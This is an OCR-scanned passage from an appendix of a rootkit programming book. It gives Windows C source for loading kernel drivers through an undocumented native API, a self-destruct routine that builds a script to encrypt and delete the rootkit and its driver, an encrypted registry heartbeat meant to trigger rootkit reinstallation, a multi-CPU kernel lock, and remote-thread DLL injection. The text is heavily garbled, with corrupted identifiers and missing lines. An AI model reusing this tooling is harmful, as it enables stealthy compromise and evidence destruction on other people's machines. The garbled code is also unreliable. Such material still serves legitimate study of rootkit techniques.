DBG_TRACE ("installDriver", "function returning successfully " ); CloseServiceHandle ( s cmDBHandle) ; return(svcHandle) ; }/*end installDriver() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / BODL loadDriver(SC_HANDLE svcHandle) { if (StartService (svcHandle, 0, NULL )==0) { if(GetLastError () == ERROR_SERVICE_ALREADY_RUNNING) { DBG_TRACE("loadDriver", "driver already running"); return (TRUE) ; else { DBG_TRACE ( "loadDriver" , "failed to load driver"); PrintError () ;
722 I Appendix
Project: Installer
return (FALSE) ;
DBG_ TRACE ( "loadDriver", "driver loaded successfully"); return(TRUE) ; }/*end loadDriver() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / BOOL stopDriver(SC_HANDLE svcHandle) { SERVICE STATUS status; i f( ControlService( svcHandle, SERVICE_CONTROL_STOP, &status) ==9) { DBG_TRACE( "stopOriver", "failed to unload driver"); PrintError() ; return(FALSE) ; DBG_TRACE( "stopDriver", "driver unloaded successfully"); return (TRUE) ; }/*end stopDriver() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*/ BOOL deleteDriver(SC_HANDLE svcHandle) { i f(DeleteService( svcHandle )==9) { DBG_TRACE (" deleteDri ver" ,"failed to un - install driver"); PrintError() ; return( FALSE); DBG_TRACE( "deleteDriver", "driver un-installed successfully"); return(TRUE); }/*end deleteDriver() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - - - - - - - - -* / / /Entry Point - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - -void mainO { const WCHAR driverName[]= L"srv3" ; const WCHAR binaryPath[] = L"C: \ \windows\\system32\ \drivers\\srv3. sys"; SC_HANDLE svcHandle; svcHandle = installDriver(driverName, binaryPath); if (svcHandle==NULL) { return; } if(! loadDriver(svcHandle)) { CloseServiceHandle( svcHandle); return; } if(! stopDriver(svcHandle { CloseServiceHandle( svcHandle) ; return; } if(! deleteDriver(svcHandle)) { CloseServiceHandle(svcHandle) ; return; } CloseServiceHandle( svcHandle); return; }/*end main() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -- - - - - -- - - - -* /
Appen dix
I 723
Appendix / Chapter 4
Proiect: Hoglund
Files: load.c
/*,
+ + +
I IIII I I IIII I I IIII IIII I IIII I IIII IIII I IIIIII IIIIII IIIIII IIIII I IIIII I I IIII I IIII
load.c
+ + +
/ /system includes- - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - -- - - - - --- - - - - - - - - - - - - - - #include <stdio.h > #include "WINDGIS . h" / /local includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - -- - - - --#include "dbgmsg . h" #include "printerr. COO //DDk (ntddk.h doesn't jive with WINDGIS.h)----- --- ----------------------------
// need 32-bit value , codes are i n ntstatus , h typedef long NTSTATUS; #define NT_SUCCESS(Status) (((NTSTATUS)(Status #define NT_INFORMATION(Status) ((((ULONG)(Status #define NT_WARNING(Status) ((((ULONG)(Status #define NT_ERROR(Status) ((((ULONG)(Status //copy declarations from ntdef.h typedef struct _UNICOOE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; }UNICOOE_STRING;
//function pointer to DDK routine-------------------------------- -------------/ /declaration mimics prototype in wdm. h VOID Cstdcall *RtlInitUnicodeString)
(
/ /undocumented Native API Call- - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - --NTSTATUS Cstdcall *ZwSetSystemInformation) ( IN DWORD functionCode, IN OUT PVOID driverName, IN LONG driverNameLength
),;
/ /Core Routines - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --- - - - - -- - - - --/ /wrapper for unicode driver name string typedef struct _DRIVER_NAME { UNICOOE_STRING name; }DRIVER_NAME; / /Integer code which indicates that we want to load driver
7241
Appendix
Project: Hoglund
NTSTATUS loadDriver(WCHAR *binaryPath) { DRIVER_NAME DriverName; const WCHAR dllName[) = L"ntdll.dll"; DBG_TRACE ("loadDriver", "Acquiring function pointers"); RtlInitUnicodeString = (void* )GetProcAddress ( GetModuleHandle( dllName) , "RtlIni tUnicodeString" ); ZwSetSystemInformation = (void*)GetProcAddress
(
DBG_TRACE( "loadDriver", "Acquired RtlInitUnicodeString " ); RtlIni tUnicodeString( &(Dri verName. name) , binaryPath) ; i f( ZwSetSystemInformation==NULL) { DBG_TRACE( "loadDriver", "Could NOT acquire *ZwSetSystemInformation"); return( -1);
DBG_TRACE (" loadDri ver " , "Acquired ZwSetSystemInformation"); return ZwSetSystemInformation ( LOAD_DRIVER_ IMAGE_COOE, &Dri verName, sizeof(DRIVER_NAME)
); }/*end loadDriver() - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - -* /
/ /Entry Point - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -void mainO { WCHAR binaryPath[] = L"C:\\srv3.sys"; NTSTATUS status; status = loadDriver(binaryPath); if(NT_SUCCESS(status{ printf(" status==SUCCESS"); } else if(NT_INFORMATION(status{ printf( "status==INFO\n"); } else if(NT_WARNING(status{ printf("status==WARNING\n"); } else if(NT_ERROR(status{ printf( "status==ERROR\n"); } else{ printf( "status = %d NOT RECOGNIZED\n" , status) ; } return;
Appendix
1725
Appendix / Chapter 4
Proied: SD
Files: sd.c
/* ++++++++++++++++++++++++++++1111111 111 t 11111111+++111111' IIIIIIII111111111111
+ + + + +
+
sd.c Creates a script that deletes its creator and itself Script is placed in % SystemDrive%\ directory Rootkit is assumed to be in %SystemDrive%\_kit Kernel mode driver is in %SystemRoot%\system32\drivers See generated script for more details
+ + + + + +
+ + +
+
+ +
+ + +
+++++++++++++111111111++++++++++++++++++1111 11111111111111111111111++++++++++*/
#define SCRIPTJILE #define SCRIPT_DIR #define DRIVER_NAME #define DRIVERJILE #define DRIVER_DIR #define ROOTJIT_DIR #define KEY
/ / Core Routines- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --
/*
Builds f ull path to un-install script (i. e., C: "uninstall . js)
*/
void getScriptFullPath( char *buffer} { GetEnvironmentVariableA(SCRIPT_DIR, buffer, FILE]ATH_SIZE -2}; strcat(buffer, ",, "} ; strcat(buffer, SCRIPTJILE};
726 I Appendix
Project: SD
return;
}/*end writeText() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* I
#define EMIT(str) writeText(fptr,str) Ilwe define this simply to save space
1*
Build the script so that it cannot be deleted in advance Can test this function by running diff against original . js script
*1
void bldScript () { FILE *fptr; char scriptFullPath [FILE_PATH_SIZEJ; getScriptFullPath( scriptFullPath ); DBG_PRINT2C' [bldScript): Opening file % \ n", scriptFullPath); s fptr = fopen( scriptFullPath, "w"); if(fptr==NULL) { DBG_TRACE("bldScript", "could not open file "); return; DBG_ TRACE ("bldScript", "creating javascript"); EMIT("var wshShell = new ActiveXObject( \"WScript.Shell\");\n\ n"); EMIT ( .. I I [cOlTll1On strings)- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n \n") ; EMIT("var driverName =\ .... ); EMIT(DRIVER_NAME); EMIT(" \ ";\n"); EMIT("var scriptName =\ .... ) ; EMIT(SCRIPTJILE); EMIT("\";\n"); EMIT( "var rootkitDir =\ .. % ); EMIT(SCRIPT_DIR); EMIT("%\\\\ "); EMIT(ROOT_KIT_DIR); .. EMIT( .. \ .. ; \n"); EMIT("var driverDir =\"%systemroot%"); EMIT(DRIVER_DIR); EMIT ( .. \ .. ; \ n"); EMIT( "var cmdExe =\"cmd.exe Ic \";\n"); EMIT( "var keyStr =\ .... ); EMIT(KEY) ; EMIT( "\ ";\n\n") ; EMIT(" II [wait for user -mode code to exit)--------------------------------------\n\n .. ); EMIT("WScript.Sleep(2000); 112 seconds\n\n"); EMIT ( .. I I [function s)- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ n\ n"); EMIT ("function DeleteFile (dname, fname) \ n") ; EMIT("{\n"); EMIT( "\tcmdStr = cmdExe+rootkitDir+\"\\\\ccrypt -e -b -f -K \"+keySt r +\" \"+dname+\"\ \ \ \ \"+fname; \n"); EMIT ( "\twshShell. Run(cmdStr, 1, true); \ n\n"); EMIT(" \ tcmdStr = cmdExe+\" del \"+dname+\" \\\\\" +fname+\" * I f I q\"; \ n"); EMIT ( "\ twshShell. Run(cmdStr, 1, true); \ n"); EMIT("} \ n\ n"); EMIT( "function DeleteDir(dname) \ n"); EMIT("{ \ n") ; EMIT("\tcmdStr = cmdExe+rootkitDir+\"\\\\ccrypt -e -b -f -r -K \"+keyStr+\" \"+dname;\n"); EMIT( "\twshShell. Run(cmdStr, 1, true); \ n\ n"); EMIT(" \ tcmdStr = cmdExe+\" Rmdir \ "+dname+\" Is Iq\";\n"); EMIT(" \ twshShell. Run(cmdStr, 1, true); \ n"); EMIT("} \n\n") ; EMIT(" I I [Remove Driver) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - \n\n"); EMIT("var cmdStr = cmdExe+\" sc.exe stop \"+driverName;\n"); EMIT("wshShell . Run(cmdStr, 1, true); \n\n"); EMIT("cmdStr = cmdExe+\ " sC.exe delete \"+dri verName;\n" ); EMIT( "wshShell. Run( cmdStr, 1, true) ; \n\n"); EMIT( "DeleteFile( driverDir , driverName+\ ". sys\ .. ); \ n\ n") ; EMIT ( .. I I [Remove user code]- - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - \n\n"); EMIT( "DeleteDir(rootkitDir); \n\n");
Appendix 1727
Appendix / Chapter 4
EMIT ( "/ / [Delete this script)- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - -- - \n\n"); EMIT ( "DeleteFile (\ "%SystemDri ve%\" , scriptName) ; \n\n") ; EMIT(" / / [Call it a day)- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - \n\n"); EMIT ( "WScript .Quit(e);"); DBG]RINT2(" [bldScript) : Closing file %s\n", scriptFullPath); fclose (fptr) ; return; }/*end bldScript() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -* / void selfDestruct()
{
STARTUPINFO sInfo; PROCESS_INFORMATION pInfo; char szCmdline[FILE_PATH_SIZE) = "cscript.exe "; char scriptFullPath[FILE_PATH_SIZE); int status; DBG_TRACE( "selfDestruct" ,"Building cOOlTland line"); getScriptFullPath (scriptFullPath) ; strcat(szCmdline, scriptFullPath); ZeroMemory(&sInfo, sizeof(sInfo ; ZeroMemory(&pInfo, sizeof(pInfo; sInfo.cb = sizeof(sInfo); DBG_TRACEC' selfDestruct" , "creating cscript process"); DBG_PRINT2(" [selfDestruct) cOOlTland line=%s\n", szCmdline); status = CreateProcessA
(
e,
// // // // // // // //
No module name (use cOOlTland line) COOlTland line Process handle not inheritable Thread handle not inheritable Set handle inheritance to FALSE No creation flags Use parent 's environment block Use parent's starting directory
if(status==e) { DBG_ TRACE ("sel fDestruct", "CreateProcess failed"); return; / / Close process and thread handles. CloseHandle( pInfo. hProcess ); CloseHandle( pInfo.hThread ); DBG_TRACE( "selfDestruct" , "cscript process created, creator exiting"); exit(e) ; }/*end sel fDestruct() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - -* / / /Entry Point- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - -- - - - --void main() { bldScript() ;
728
Appendix
+
+
l/loca l includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --#include "aes. h" #include "aes. c" #include "dbgmsg.h" I Imacros- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#define #define #define #define #define KEYBITS SZ_BUFFER SZ_DATESTR SZ_PATH MAXJAILURES 128
16
128
128 5
Appendix
1729
Appendix / Chapter 4
int i; for(i=0;i<limit;i++){ buffer[i]=0x0; } return; }/*end wipeBuffer() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / void printBuffer(unsigned char *buffer, int limit) { int i; for(i=0; i<limit;i++) { DBG_PRINT2("%e2x:", buffer[i]); } DBG]RINT1("\n");
//HKEY hKey / /LPCTSTR IpSubKey / / LPCTSTR IpValue / /oo..oRD dwFlags / /LPoo..oRD pdwType //PVOID pvData / /LPoo..oRD pcbOata
i f(status! =ERROR_SUCCESS) { DBG_TRACE( "accessTimeStampReg", "Failed to read regist r y value"); //see WinError.h for error codes DBG]RINT2(" [accessTimeStampReg] : status=%x\n", status); return(0) ;
730 I Appendix
DBG_TRACE ( "accessTimeStampReg ", "timestamp read " ) ; return (nBytes) ; }/*end accessTimeStampReg() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - --- - - - - - - - - - --- *I BOOL i sValidTimeStamp( unsigned char *ciphertext) { unsigned long buffer[RKLENGTH(KEYBITS)] ; unsigned char plaintext[SZ_BUFFERJ; unsigned char dateStr ing[SZ_DATESTR]; _ int64 *timeUTCRef; _int64 oldUTC; _int64 currentUTC ; _ int64 delta ; struct tm *localTime; DBG_TRACE ( "isValidTimeStamp", "decrypting timestamp"); rijndaeISetupDecrypt ( buffer, key, KEYBITS); rij ndaelOecrypt (buffer, NROUNDS (KEYBITS), ciphertext , plaintext); timeUTCRef = (_int64*)plaintext; oldUTC = *timeUTCRef ; if(oldUTC < 8) { DBG_TRACE ( "isValidTimeStamp", "decrypted timestamp invalid " ); retu r n(FALSE); localTime = localtime(timeUTCRef); if(localTime==NULL) { strcpy( dateString , "00-00- 00 : 00") ; else { getDateString(dateString, *local Time); DBG_TRACE ( "isValidTimeStamp" , "time- stamp value recovered"); DBG]RINTl(" [ i sValidTimeStamp]: ciphertext bytes : \ t") ; print Buffer ( ciphertext, SZ_BUFFER) ; DBG_PRINTl (" [isValidTimeStamp] : plaintext bytes : \ t") ; printBuffer(plaintext, SZ_BUFFER); DBG]RINT2(" [i sValidTimeStamp] : dateString=%s\n " ,dateString); time(¤tUTC) ; if(currentUTC < 8) { DBG_TRACE( "isValidTimeStamp", "cannot compute current UTC time"); return(FALSE) ;
DBG_PRINT2( "[ isValidTimeStamp] : oldUTC\t=% I64d\n" , oldUTC) ; DBG]RINT2( " [isValidTimeStamp] : currentUTC\t=%I64d\n ", currentUTC) ;
IIUTC is seconds since midnight, January 1, 1978 delta = currentUTC - oldUTC ; if(delta < 8)
{
Appendix 1731
Appendix / Chapter 4
if(delta > timeout) { DBG_TRACE ("isValidTimeStamp", "client has timed out"); return(FALSE) ; return(TRUE) ; }/*end checkTimeStamp- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - -* / void incrementFailureCount() { nFailures++ ; DBG]RINT2(" [incrementFailureCount): incrementing failure count to [%d) \n", nFailures); if(nFailures >= MAX_FAILURES) { DBG_PRINT2(" [incrementFailureCount): MAXJAILURES(%d) achieved\n " ,MAXJAILURES); / /reInstallPrimaryRootkit(); nFailures=0 ;
return; }/*end incrementFailureCount() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* /
void hbServerReceive() { unsigned char ciphertext [SZ_BUFFER) ; int retVal; DBG_ TRACE ("hbServerReceive", "server checking for pulse"); retVal = accessTimeStampReg( ciphertext, SZ_BUFFER); if(retVal==0) { DBG_TRACE("hbServerReceive", "Error opening heartbeat file"); incrementFailureCount() ; return; } else if(retVal==EOF)
{
DBG_TRACE("hbServerReceive", "Error reading from heartbeat file"); incrementFailureCount() ; return; if (isValidTimeStamp( ciphertext) ==FALSE) { DBG_TRACE("hbServerReceive", "timestamp is not valid"); incrementFailureCount() ; return; DBG_TRACE( "hbServerReceive", "time stamp is within valid range"); return; }/*end hbServerReceive() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- -* / DWORD WINAPI hbServerLoop( LPVOID IpParameter) { while(TRUE==TRUE) { Sleep(S000); DBG_PRINT1(" \n\n--- [NEXT ITERATION)--- \n"); hbServerRecei ve ( ) ; } return(0) ;
732
Appen di X
}/*end hbServerLoop() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -* I
void hbServer() { DWORD dwThreadld; HANDLE hThread; DBG_TRACE ("hbServer", "opening handle to heartbeat thread") ; hThread = CreateThread
(
NULL,
0,
hbServerLoop, NULL ,
0,
&dwThreadld
);
II II II II II II
default security attributes use default stack size thread function argument to thread function use default creation flags returns the thread identifier
if( hThread == NULL) { DBG_TRACE("hbServer", "unable to create heartbeat t hread"); return; DBG_TRACE ( "hbServer" , "server entering its own main loop"); while(TRUE== TRUE) { Iiserver main thread does stuff here DBG_TRACE("hbServer", "closing handle to heartbeat thread"); CloseHandle(hThread) ; return; }/* end hbServer() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - -* I
_int64 timeUTC; struct tm *localTime; time (&timeUTC) ; if(timeUTC < 0){timeUTC=0;} localTime = localtime(&timeUTC); if( localTime==NULL)
{
strcpy( dateString , "00- 00-00 : 00"); else { getDateString( dateString , *localTi me) ;
wipeBuffer(plaintext, SZ_BUFFER); wipeBuffer( ciphertext, SZ_BUFFER); cptr = (unsigned char*)&timeUTC; for(i=0 ; i <sizeof(_int64);i++){ plaintext[i) cptr[i);}
Appen di X
I 733
Appendix / Chapter 4
rijndaelsetupEncrypt(buffer, key, KEYBITs) ; rijndaelEncrypt(buffer, NROUNDs(KEYBITs), plaintext, ciphertext); DBG_TRACE( "createTimestamp", "time-stamp built") ; DBG_PRINT1(" [createTimestamp): plaintext bytes : \ t"); printBuffer (plaintext , sZ_BUFF ER) ; DBG]RINT1(" [create TimeStamp): ciphertext bytes: \t"); printBuffer( ciphertext, sZ_BUFFER) ; DBG_PRINT2(" [createTimestamp) : datestring; %s\n " ,datestring); wipeBuffer(plaintext, sZ_BUFFER); wipeBuffer( (char ' )buffer, RKLENGTH(KEYBITs)'4); return; }/' end createTimestamp() - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - -- - - - - -- - - - - - -- - - - - -' / void storeTimestamp(unsigned char ' ciphertext, int nBytes) { FILE ' fptr ; int i ; DBG_TRACE( "storeTimestamp", "opening timestamp file"); fptr ; fopen(getFilePath(), "wb"); if(fptr;;NULL) { DBG_TRACE( "storeTimestamp", "could not open file for writing"); return ; } for(i;0 ; i <nBytes ; i++) { fputc( (int)ciphertext[i), fptr); DBG_TRACE ( "storeTimestamp" ,"timestamp written"); fclose(fptr); return; }/' end storeTimestamp() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - --- -, / void storeTimestampReg(unsigned char ' ciphertext, int nBytes) { LONG status; HKEY hKey; DBG_TRACE ( "storeTimestampReg" , "opening timestamp key"); status ; RegDpenKeyExA ( HKEY_ LDCAL_MACHINE, //HKEY hKey RegsubKey, / / LPCTsTR lpsubKey 0, / /DWORD Reserved KEY_WRITE , / /REGsAM samDesired / /PHKEY phkResult &hKey ); if( status! ;ERROR_sUCCEss) { DBG_TRACE("storeTimestampReg", "Failed to open registry key"); / /see WinError . h for error codes DBG_PRINT2(" [storeTimestampReg) : status;%x\n " , status); return; DBG_TRACE(,' storeTimestampReg", .. setting key value"); status ; RegsetValueExA
734
Appendix
hKey , keyValue,
e,
REG_BINARY, ciphertext, 5Z_BUFFER
);
II H KEY hKey II LPCT5TR lpValueName II D\oKJRD Reserved II D\oKJRD dwType, Il const BYTE ' lpData, IID\oKJRD cbData
i f( status! =ERROR_5UCCE55) { DBG_TRACE("storeTime5tampReg", "Failed to set registry value"); Iisee WinError.h for error codes DBG]RINT2(" [ storeTime5tampRegj: status=% x\n", status); RegCloseKey(hKey) ; return;
return;
return;
Appendix 1735
Appendix / Chapter 4
DBG_TRACE("hbClient", "client entering its own main loop"); while(TRUE==TRUE) { / /client main thread does stuff here DBG_TRACE("hbClient", "closing handle to heartbeat thread"); CloseHandle(hThread) ; return ; }/*end hbClient() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - - -- - - - -- - - - -* / / /Entry Point- - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - -- - - - - - - - - - - - - - - - - - - - - - --int main(int argc, char*argv[)) { if(argc != 2){ return; } if(strcmp(argv[l), "client" )==0){ hbClient(); if(strcmp(argv[l), "server")==0){ hbServer(); return(0) ; }/*end main() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - -- - - - - - - - - - - -*/
Proied: IIQL
Files: kmd.c
/*'1 I II I I III I I III I I I III I I I I I I I I III I I I I I I I I I I I I I I I I I I I I I I I I I I I I I II I I I I I I I I I I I I II
+ + +
kmd.c
+ + +
II I III I I I I I I I I II I I I II I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I III I I I I I I I I I I I I
*/
/ /system includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - -#include "ntddk .h" / / local includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #include "dbgmsg.h " #include "datatype . h" / / globals - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --- - - - - - - - -D'dlRD LockAcquired; D'dlRD nCPUsLocked; / /Synchronization Routines- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - -KIRQL RaiseIRQL()
{
KIRQL curr; KIRQL prey; curr = KeGetCurrentIrql(); prev = curr ; if(curr < DISPATCH_LEVEL) { KeRaiseIrql (DISPATCH_LEVE L, &prev) ; } return(prev) ; }/*end RaiseIRQL() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - -- - - - - */
/*
This is the routine executed by the DPCs
736
A pen di X p
Project: IRQl
*/
void lockRoutine
(
IN IN IN IN
DBG]RINT2(" [lockRoutine]: begin-CPU[%u]", KeGetCurrentProcessorNumber(; InterlockedIncrement(&nCPUsLocked) ; / /spin until LockAcquired flag is set ( Le., by ReleaseLockO while( Inter lockedCompareExchange (&LockAcquired, 1, 1 )==8) {
nop;
return;
}/*end lockRoutine() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - . - - - - - - - - - - - - - - - - - - - - -* / PKDPC AcquireLockO { PKDPC dpcArray; DIo.IJRD cpuID; DIo.IJRD i; DIo.IJRD nOtherCPUs; / /this should be taken care of by RaiseIRQLO if(KeGetCurrentIrqlO! =DISPATCH_LEVEL){ return(NULL); } DBG_TRACE ( "AcquireLock", "Executing at IRQL==DISPATCH_LEVEL"); //init globals to zero Inter lockedAnd (&LockAcquired, 8) ; Inter lockedAnd (&nCPUs Locked, 8) ; / /allocate DPC object array in nonpaged memory DBG]RINT2(" [AcquireLock] : nCPUs=%u\n" ,KeNumberProcessors); dpcArray = (PKDPC)ExAllocatePool
(
CpuID = KeGetCurrentProcessorNumberO ; DBG]RINT2(" [AcquireLock]: cpuID=%u\n", cpuID); / /create a DPC object for each CPU and insert into DPC queue for( i=8; i <KeNumberProcessors; i ++ ) { PKDPC dpcptr = &(dpcArray[i]); if(i! =cpuID) { KeIni tializeDpc (dpcptr, lockRoutine ,NULL) ; KeSetTargetProcessorDpc( dpcptr, i); KeInsertQueueDpc( dpcptr, NULL, NULL);
Appendix 1737
Appendix I Chapter 4
/ /spin until all CPUs have been elevated notherCPUs = KeNumberProcessors-l; Inter lockedCompareExchange( &nCPUsLocked, notherCPUs, notherCPUs); while(nCPUsLocked != notherCPUs) {
nop; } Inter lockedCompareExchange (&nCPUs Locked, notherCPUs, notherCPUs); } DBG_TRACE("AcquireLock", "All CPUs have been elevated"); return (dpcArray) ; }/*end AcquireLock() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - -* / NTSTATUS ReleaseLock(PVOID dpcptr)
{
//this will cause all DPCs to exit their while loops InterlockedIncrement(&LockAcquired) ; / /s pin until all CPUs have been restored to old IRQLs InterlockedCompareExchange(&nCPUsLocked, e, e); while(nCPUsLocked ! = e) {
nop;
DBG_TRACE("Relea seLock ", "All CPUs have been released"); return(STATUS_SUCCESS) ; }/*end ReleaseLock() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
return;
}/*end LowerIRQL() - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / / / DRIVER_OBJECT functions- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --void
(
return;
}/*end Unload( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / NTSTATUS DriverEntry
(
738 I Appendix
Project: RemoteThread
PKDPC dpcPtr; DBG_TRACE("Driver Entry", "Establishing other DriverObject function pointers"); (*pDriverObject) . DriverUnload = Unload; DBG_TRACE("Driver Entry", Raising IRQL"); irql = RaiseIRQL(); DBG_TRACE("Driver Entry", "Acquiring Lock"); dpcPtr = AcquireLock(); / /access shared resource here DBG_TRACE("Driver Entry", "Releasing Lock"); ReleaseLock( dpcPtr); DBG_TRACECDriver Entry", "Lowering IRQL"); LowerIRQL( irql); return(STATUS_SUCCESS) ; }/*end DriverEntry() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* /
,.
Chapter 5
Proied: RemoteThread
Files: RemoteThread.c
/* 111 III I I I I I I III I I I I I I I I I I I I I I I 111++++++++++++++++++++11 I I I II I I I 1'1+++++++++++
+ +
remotethread . c
+ +
#include "windows. h" #include "stdio . h" #include "stdlib. h" void main(int argc, char* argyl]) { HANDLE procHandle; threadHandle; HANDLE dllHandle; HI'OOULE DWORD procID; FARPRDC loadLibraryAddress; baseAddress; LPVOID char argumentBuffer[ J="C:' 'windows' 'testDll.dll"; BOOL isValid; / / get PID- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -if(argc < 2) { printf( "Not enough arguments'n");
return ;
} procID = atoi(argv[lJ); printf( "PID=%d'n" ,procID);
A pen di X p
I 739
Appendix / Chapter 5
procHandle = OpenProcess
(
/ /get handle to Kerne132 . dll - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --- - - - - - - - - - - -- -dllHandle = GetModuleHandleA( "Kerne132"); if( dllHandle==NULL)
{
//get address of loadLibrary()--------------------------------------------loadLibraryAddress = GetProcAddress ( dllHandle, / /tf"OOULE hModule "LoadLibraryA" //LPCSTR IpProcName ); if (loadLibraryAddress==NULL) { printf("Could not get address of LoadLibrary()\n");
return;
} printf("address of LoadLibrary() acquired\n");
/ /HANOLE hProcess / / LPVOIO IpAddress / /SIZE_T dWSize / /IJI.,QRO flAllocationType //IJI.,QRO flProtect
); i f(baseAddress= =NULL) { printf("Could not allocate memory in remote process\n"); return; } printf("allocated memory in process \ n");
/ /HANDLE hProcess / /LPVOIO IpBaseAddress //LPCVOIO IpBuffer / /SIZE_T nSize / /SIZE_T* IpNumberOfBytesWri tten
740
Appendix
Project: ReadPE
return;
}/' end main() - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - -- - - - - - - - - - - - - - - - - -- - - - - --- -' /
Proied: ReadPE
Files: ReadPE.c
/*11 I I II I I III I I I I I I I I I I I I I IIIIIII1111 I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I
+ + +
ReadPE .c
+ + +
I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I IIIIIII11111 I I I I I I
,*/
#include "windows. h" #include "winnt.h" #include "stdio . h" BOOL gettf'OOULE ( char 'fileName, HANDLE' hfile, HANDLE' hfileMapping, LPVOID ' baseAddress
printf("[Gettf'OOULEj : Opening %s\n",fileName); ('hfile) = CreatefileA ( fileName, //LPCTSTR lpfileName GENERIC_ READ, / /DI\ORD dwDesiredAccess fILE_SHARE_ READ, / /IJI..ORD dwShareMode NULL, / /LPSECURITY_ATIRIBUTES (if NULL, handle cannot be inherited) OPEN_ EXISTING, //IJI..ORD dWCreationDisposition fILE_ATIRIBUTE_NORMAL, / /IIORD dwFlagsAndAttributes / /HANOLE hTemplatefile (if NULL, ignored) NULL ); if (hfile==INVALID_HANOLE_VALUE) { printf(" [GetIKllJULEj : Createfile() failed\n") ; return(fALSE) ;
Appendix 1741
Appendix / Chapter 5
